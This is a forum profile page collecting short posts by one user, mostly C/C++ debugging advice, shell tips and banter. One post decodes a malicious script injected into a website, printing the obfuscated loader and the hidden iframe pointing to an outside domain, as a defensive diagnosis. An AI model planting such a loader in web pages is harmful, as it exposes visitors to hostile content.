Salem 5,265 Posting Sage

> Can anyone share concept
I assume you know how to add say 16 and 18 together to get 34

I mean, once you've figured out the concept of 'carry', whether you're storing each element of your overall number in a character, or byte, or long really doesn't make a bean of difference.

William Hemsworth commented: Good to see you posting again :) +9
Salem 5,265 Posting Sage

> to be set or always set?
Not at all.
The compiler just outputs the code such that it's tagged with the right section name.

It's the linker and linker configuration script which set the properties of each section of memory.

As for checking say that a particular code section has the 'x' bit set say, before calling it, I've no idea.

MosaicFuneral commented: Well, thanks. +2
Salem 5,265 Posting Sage

A sscanf way, and a strtol way

if ( fgets( buff, sizeof buff, stdin ) != NULL ) {

        int     n, result, pos;
        n = sscanf( buff, "%d%n", &result, &pos );
        if ( n == 1 ) {
            /* look at buff[pos] if you care about what followed the int */
            /* or perhaps guess that if pos is too large, overflow MAY have */
            /* occurred, although it's far from fool-proof */
            /* result is the good-ish answer */
        } else {
            /* Not an integer */
        }
        
        long int    result;
        char*       endp;
        result = strtol( buff, &endp, 10 );
        if ( errno != 0 ) {
            /* errno should be ERANGE */
        } else
        if ( result == 0 && endp == buff ) {
            /* nothing useful was input */
        } else {
            /* a good answer in a long int */
            /* carefully cast it to an int if you need an int */
            /* and still care about overflow (for example) */
        }
    } else {
        /* end of file or error */
        /* use feof() and ferror() to find out which */
    }
Salem 5,265 Posting Sage

Faster than you can read this, that's for sure.
http://www.daniweb.com/forums/announcement8-2.html

Salem 5,265 Posting Sage

Frankly, this "gimme gimme" schtick of yours is becoming annoying.
http://www.daniweb.com/forums/thread178000.html

Same old, same old, with no sign of effort or progress.

How many more links do you think people are going to be bothered to push under your nose to go unread?

verruckt24 commented: Rightly spotted +2
Salem 5,265 Posting Sage

> testptr[5] = 203;
Still an array overrun.

Salem 5,265 Posting Sage

Perhaps the error message is correct.

Actually, almost every line of your program is wrong. It's quite a surprise that it gets that far.

> int * testptr = new int[1];
OK so far.

> testptr[1] = 23;
Oops, you stepped off the end. You only allocated 1 int, so the only valid subscript is zero.

> cout << testptr[1] << endl;
It prints what you stored, but it's stored in someone else's memory. Maybe they'll want it back soon...

> redim(testptr, 5); // change the dimension
Look up call by value and call by reference.
Sure you can free the memory (you have a copy of the pointer), but you can't change the pointer HERE (you don't have a reference to it).

Anything you do AFTER this point in the code with testptr is really bad news. Even if everything else was fixed, the subscript would still be out of bounds (see earlier comment).

> delete[] testptr;
The function freed it.
But you didn't get back a new pointer, so you try and free the old one again (this is a bad thing).

> ptr_to_data = new int[newdim];
And now the line with the error message.
ptr_to_data at this point is just a local variable. Changing it here doesn't change anything in the caller.
So you allocate some memory, then immediately lose the pointer to it when the function returns (and …

Salem 5,265 Posting Sage

> Can I just copy paste my /sys/socket.h from my Linux Box and paste it on the /sys/ of MInGW directory
Nope, not at all.
You also need the .lib. Since that's compiled for a different architecture and OS, chances are it wouldn't even link, and has much less chance of running.

> But personally, I prefer MinGW because it gives me freedom to use without depending from any run-time DLL.
But you also sacrifice the comfortable magic which cygwin offers to give you an environment which is far more unix-like.
It's a choice, but you need to decide on your priority.

> but I would prefer to use sys/socket.h since I don't wanna go in WSA() thing.
Unfortunately, if you want to avoid too many dependencies, there's no real getting away from having to deal with the real thing at the bottom of the call hierarchy.

> But I dont want to use that since it will have me do a lot of conditional compiling(to make my app,
> platform independent) which I don't like.
If you implement a wrapper class, then only ONE file should contain all the WSA stuff, and conditional code.

Capturing your interfaces at the right level can really make or break your portability efforts. Done well, it's a breeze. Done badly, and it's a disaster.

iamthwee commented: top draw +18
Salem 5,265 Posting Sage

You mean there is NO information on the web at all?

Have all your search engines returned zero results, or just biographies of some Viking?

Nick Evan commented: Wasn't that bluebeard? ;) +14
Salem 5,265 Posting Sage

Or perhaps fix b so that it's a proper \0 terminated string, then the problem goes away.

Comatose commented: Damn. Good Eye. +10
Salem 5,265 Posting Sage

It's always possible to "fake" something, but the OP needs to be more specific about the problem.

Aia commented: Truth be told. +13
Salem 5,265 Posting Sage

The same way you used that to load your map/vector/tree/whatever, only in reverse.

Comatose commented: Exactly +10
Salem 5,265 Posting Sage

14177 in hex is 0x3761
1982543713 in hex is 0x762B3761
0x61 is lowercase 'a' in the ASCII character set.
0x37 just happens to be the junk in the MSB of the short value.
0x762B just happens to be the junk in the MSW of the long value.

Prabakar commented: This should answer the question +1
Salem 5,265 Posting Sage
Freaky_Chris commented: Agreed, shame it looks like he ignored you! +4
Salem 5,265 Posting Sage

> because if this is the situation, and I implement a strtok or strchr to check the string for d,w,r,x what if the filename is also dwrxdwrx?
Er, because the permissions are always in field 3, and the filename is always in field 7 (or whatever your 'ls' generates)

That's part of your exercise to begin with, is take a line, then extract fields, then analyse.

Salem 5,265 Posting Sage
StuXYZ commented: well spotted that he is on multiple forums +5
Salem 5,265 Posting Sage

> Beyond that it's the same old basic arithmetic that you learned in the first grade.
Do they still teach that?

Apparently not
http://www.literacytrust.org.uk/Database/businessupdate.html

The CBI surveyed more than 500 companies with 1.1million employees. They found that 52% of employers are dissatisfied with the basic literacy of school leavers and 50% with their basic numeracy, but 92% are satisfied with their IT skills. Half of employers said some teenagers were ‘unable to function in the workplace’ claiming they cannot make simple calculations in their heads, speak in an articulate manner or understand written instructions.

What's 92% measuring?
"Has the ability to switch the machine on, and move the mouse without strangling themselves with the cord".

ddanbe commented: Had one person in my company who held the mouse in the other direction and asked what was happening... +4
Salem 5,265 Posting Sage

Who knows, that's for the implementation to decide.
- in release mode, it's typically back in the heap untouched.
- in debug mode, it could be filled with some specific pattern to mark "deleted data", and perhaps held in a "pending" list for a while. Specifically to assist with spotting any "use after free" errors in the code.

Salem 5,265 Posting Sage

W.getHours();
Look closely....

Murtan commented: Great minds think alike (and sometimes simul-post) +3
Salem 5,265 Posting Sage

There you go, a program to print a balanced checkbook

#include <stdio.h>
int main ( ) {
    printf(
        "CHECKBOOK\n"
        "=========\n"
        "    ^\n"
        );
    return 0;
}
tux4life commented: Loved the sarcasm ;-) +13
Salem 5,265 Posting Sage

And is "looking" dry the same as electrically dry?
And if it isn't, bye bye chips.

Remember, these have been thoroughly soaked, not just gotten a little damp. Something more proactive than the airing cupboard is required IMO. It might work, if you give it a month or two.

Or do you have any other "half-baked" ideas (sorry, couldn't resist that one ;) )

If you had any idea of the kind of processes the boards and components go through to reach you, a short-spell in an oven below 200F (which isn't even the boiling point of water), isn't going to be a problem.

Perhaps the OP should do some research to find out how modern circuits are produced, and then cleaned and dried at the end of the process. They don't mess about with airing cupboards.

So long as you don't go mad and put soaking wet devices in an oven at 500F. Air dry and a moderate temperature should be fine. If you want to be extra cautious, then step up and step down through a couple of intermediate temperatures.

If you fancy experimenting, get two microscope slides (or anything else which is flat and of similar dimensions), then place a drop of water between them. Put that sandwich in a variety of environments and see how long it takes for all the water to disappear.

Remember, evaporation only happens on the surface of the water which is facing the …

Suspishio commented: It provided superbe fun! Yeah - stick the IC in the oven! LOL. You might do that but the poor sucker who put the RAM in a washing machine is a potential disaster zone! +4
Salem 5,265 Posting Sage

> for(int h = 0; h <= b;)
How long is the loop going to run before h > b ?

Check ALL your fopen calls for success.

Check your scanf functions for success.

Salem 5,265 Posting Sage

> Give me a chequebook balancing program.
How presumptuous of you that you think you can just roll in here and demand that we do your homework.

True or false - this applies to you as well as all the other noobs?
Announcement: We only give homework help to those who show effort

Aia commented: Boolean arithmetic is an advanced topic. You might had set expections too high. +13
Salem 5,265 Posting Sage

Thanks to this muppet, all the programming forums have been trashed for the evening until a mod shows up and deleted all that crap.

:@ :@ :@ :@

MosaicFuneral commented: :'( +2
Salem 5,265 Posting Sage

> The line of code this warning refers to defo=(defo/16.0);
16.0 is a double

defo=(defo/16.0f);
Adding a trailing f would make a float version of 16.0

Salem 5,265 Posting Sage

I can see what they are.

But I'd rather see words like IN_COMMENT or POSSIBLE_COMMENT as the names of states, rather than what you've got.

With decent names, it might be plainly obvious that you can't (for example) get from IN_COMMENT to END_OF_LINE in one character.

A B C do not do that.

Freaky_Chris commented: Makes me happy seeing other people using good variable names :) +4
Salem 5,265 Posting Sage

> Your home planet is: Silbob Silbob
Howdy neighbour :)

William Hemsworth commented: :icon_lol:  +6
Salem 5,265 Posting Sage

Two things
1. 0xfd is used to fill memory after it has been deleted, just in case you try to use it later. So when you see 0xfd all over the place, that is what you should be thinking about.

2. The access violation says "writing", so it's a safe bet that the thing with the problem is the thing on the left hand side of the assignment.

In other words, check your Data, not your string.

Freaky_Chris commented: Helpful! Never knew that always wondered about memory access violations. +4
Salem 5,265 Posting Sage

> sed -i 's/oldInfo/newInfo/g' "$dataFile"
You need to watch your shell's quoting rules.
Things in single quotes are preserved as is
Things in double quotes allow $substitutions.

Perhaps then
sed -i "s/$oldInfo/$newInfo/g" "$dataFile"

Salem 5,265 Posting Sage

I've no interest in helping people who make it unnecessarily difficult to help them, by using proprietary and bug-ridden formats like MSWord.

Comatose commented: I Fully Agree +8
Salem 5,265 Posting Sage

> Is there a way like in wxDev-C++ to change the complier from the VS one to the gcc one?
Like reading the tutorials on the site homepage perhaps?

http://wxdsgn.sourceforge.net/?q=node/6
Specifically,
"Setting Up wxDev-C++ for compiling with Visual C++ 2005"

But if your solution to every programming problem is to change compilers, then you're in for a rough ride.

I use 2 or 3 different compilers on a daily basis, and couldn't give a monkeys which compiler I'm using.
That's because I program to the language and not the compiler.

iamthwee commented: -That's because I program to the language and not the compiler.- Amen +17
Salem 5,265 Posting Sage
William Hemsworth commented: At least he used a more appropriate thread title ;) +6
Salem 5,265 Posting Sage

http://www.quotationspage.com/quote/22644.html
I love deadlines. I love the whooshing sound they make as they fly by.

.

ddanbe commented: Well said +4
Salem 5,265 Posting Sage

More "The UK is just a shit-house"
http://news.bbc.co.uk/2/hi/uk_news/7819230.stm

Not forgetting that the UK has the widest deployment of security cameras in the world. You'd think the crime rate would be zero by now, but it's at near record levels.

Also, the DNA database of everyone who's ever been questioned by the police. Guilty or not, you're on the database for life.

Proper police, on the streets, talking to people is what gets it done.
Not sitting at desks, data mining everyone's private lives and showing up after the event with some cryptic analysis.

They who would give up an essential liberty for temporary security, deserve neither liberty or security

Dave Sinkula commented: I must give +rep for the Franklin quote. +17
Salem 5,265 Posting Sage

Well using http://www.w3schools.com/js/tryit.asp?filename=tryjs_alert and some deft editing (replace any document.write() with alert() ).

The big mass of numbers first expands to this text

<script>if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%30%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%67%6f%32%6d%65%2e%6e%65%74%2f%2e%67%6f%2f%63%68%65%63%6b%2e%68%74%6d%6c%27%20%77%69%64%74%68%3d%33%34%39%20%68%65%69%67%68%74%3d%35%35%37%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script>

Which in turn expands to this

<iframe name=c10 src='http://gogo2me.net/.go/check.html' width=349 height=557 style='visibility:hidden'></iframe>

Sure ain't a google ad script.

Googling gogo2me reveals a lot of chat, eg.
http://www.sitepoint.com/forums/showthread.php?p=4082556#post4082556


I'm shocked that your hosting company couldn't do this basic analysis.

peter_budo commented: Nice one +14
Salem 5,265 Posting Sage
Dave Sinkula commented: Careful -- Big Brother is watching. :icon_razz: +17
Salem 5,265 Posting Sage

You have to allocate for each * in turn, starting with the outermost one, and working your way inwards.

Graphics::Graphics()
{
    Width = 10;
    Height = 10;
    TextArray = new char*[Height];
    for ( int h = 0 ; h < Height ; h++ ) {
        TextArray[h] = new char[Width];
    }
    ClearTextArray();
}
Graphics::~Graphics()
{
    for ( int h = 0 ; h < Height ; h++ ) {
        delete [] TextArray[h];
    }
    delete [] TextArray;
    TextArray = NULL;
    Width = 0;
    Height = 0;
}

Note the dtor does the same thing in reverse.

u8sand commented: Solved! tyvm +1
Salem 5,265 Posting Sage

> You can pipe commands to ex(1) to edit a file 'in place'.
Like I said in my first post, the editors like ed, ex and vi merely hide the detail from you. There's still a write / delete / rename going on underneath.

Aia commented: Abstraction layers are good thing. ;) +13
Salem 5,265 Posting Sage

> For better programming skills remember above priority in operators
I've been doing C for 20 years, and I still can't be bothered to remember it.
The same goes for a large part of the standard C library. I know what functions exist, but I don't remember parameter orders for every single one of them (that's what man pages are for).

I know roughly where everything goes, but if the expression becomes too complex (which is a hint in itself), then I just use ( )

Besides, if you're writing code commercially, you have to figure that at some point, someone who knows less C than you will be maintaining it at some point. So it pays to be not overly clever with your code.

Ezzaral commented: Agreed. +16
Salem 5,265 Posting Sage
William Hemsworth commented: busted :) +6
Salem 5,265 Posting Sage

> I thought arrays are always assigned contiguous blocks of memory.
They are.
As are all blocks of memory returned by malloc / calloc / realloc

The link posted by death_oclock in the previous post is just a load of rubbish.

They seem to think that because the OS might map parts of the array to different pages of memory, that it has any effect on a C program. It DOESN'T. The virtual address is contiguous, and that's all that matters.

devnar commented: Thanks! :) +1
Salem 5,265 Posting Sage
Salem 5,265 Posting Sage

Like I said, read the RFCs and be informed.

shaikh_mshariq commented: Provided guidance and reference for what I was looking for. +3
Salem 5,265 Posting Sage

OK, so what part of fgets() + sscanf() did you not understand?

> printf("Employee no. : ");
> scanf("%ld",&D.no);
Should be

printf("Employee no. : ");
      fgets( temp, sizeof temp, stdin );
      sscanf( temp, "%ld",&D[i].no);

temp is just a char array, I typically use BUFSIZ for it's size.

Creator07 commented: Good helper +1
Salem 5,265 Posting Sage

In more bone-headed moves, I see that the proposal for "saving" the US car industry is for merging 3 into 2.

The problem with lumbering dinosaurs is that they're neither reactive, nor competitive. All a merger will achieve is that they'll fail more slowly on the next guy's watch.

All 3 of them should be broken up into a dozen parts, and each made to fend for themselves. Sure some will die, but the others will emerge stronger for it. Plus you'll actually have an industry that will be capable of delivering what the market actually wants, not some marketroids "lowest common denominator".
Either that, or get used to watching fossilisation in slow motion.

If 1 bank fails out of a pool of 100, then the market as a whole isn't going to be overly worried. Consumer protection schemes can kick in and are generally able to cope.

Now take 5 monoliths, all busy swapping debt with one another so nobody knows what the hell is happening. One falls, and the other 4 are in deep shit.

If the internet has taught us anything (which apparently it hasn't), is that highly distributed and autononmous systems are very resilient to all sorts of crap which might come their way. Sure there's plenty of scope for local problems, but the system as a whole endures.

If something gets to the point where it's "too big to fail", then it's too big by definition.

Dave Sinkula commented: We need more Americans like you. :icon_razz: +17
John A commented: Amen brotha. +17
Salem 5,265 Posting Sage

> Any clues why?
Because you passed a POINTER to i.
The main() thread exits, the i variable goes out of scope and another thread is looking down the barrel of a segfault.

> also any general tips for writing good multi-threaded code are welcome.
Well the first step is to make sure that whatever parameter you pass has a lifetime which exceeds the thread creator.

Using dynamic memory, and then making the thread the owner of that memory is one way to achieve this.
This also solves the other problem of helping to ensure that only one thread has access to the memory passed into it.

Agni commented: Thanks for the tip ... +2
Salem 5,265 Posting Sage

Personally, I'd be worried by how readily reversible the encryption of valuable credit card details appears to be.

Salem 5,265 Posting Sage

I wonder who makes macintoshessssss.......

http://developer.apple.com/
Nah, can't be that obvious, can it?

William Hemsworth commented: always makes me laugh, thanks :) +5
Salem 5,265 Posting Sage

Or maybe a paragraph formatter ;)

ddanbe commented: I like the style! +3
Salem 5,265 Posting Sage

ASCII stupid question, get a stupid ANSI :D

devnar commented: Long live geek jokes! +1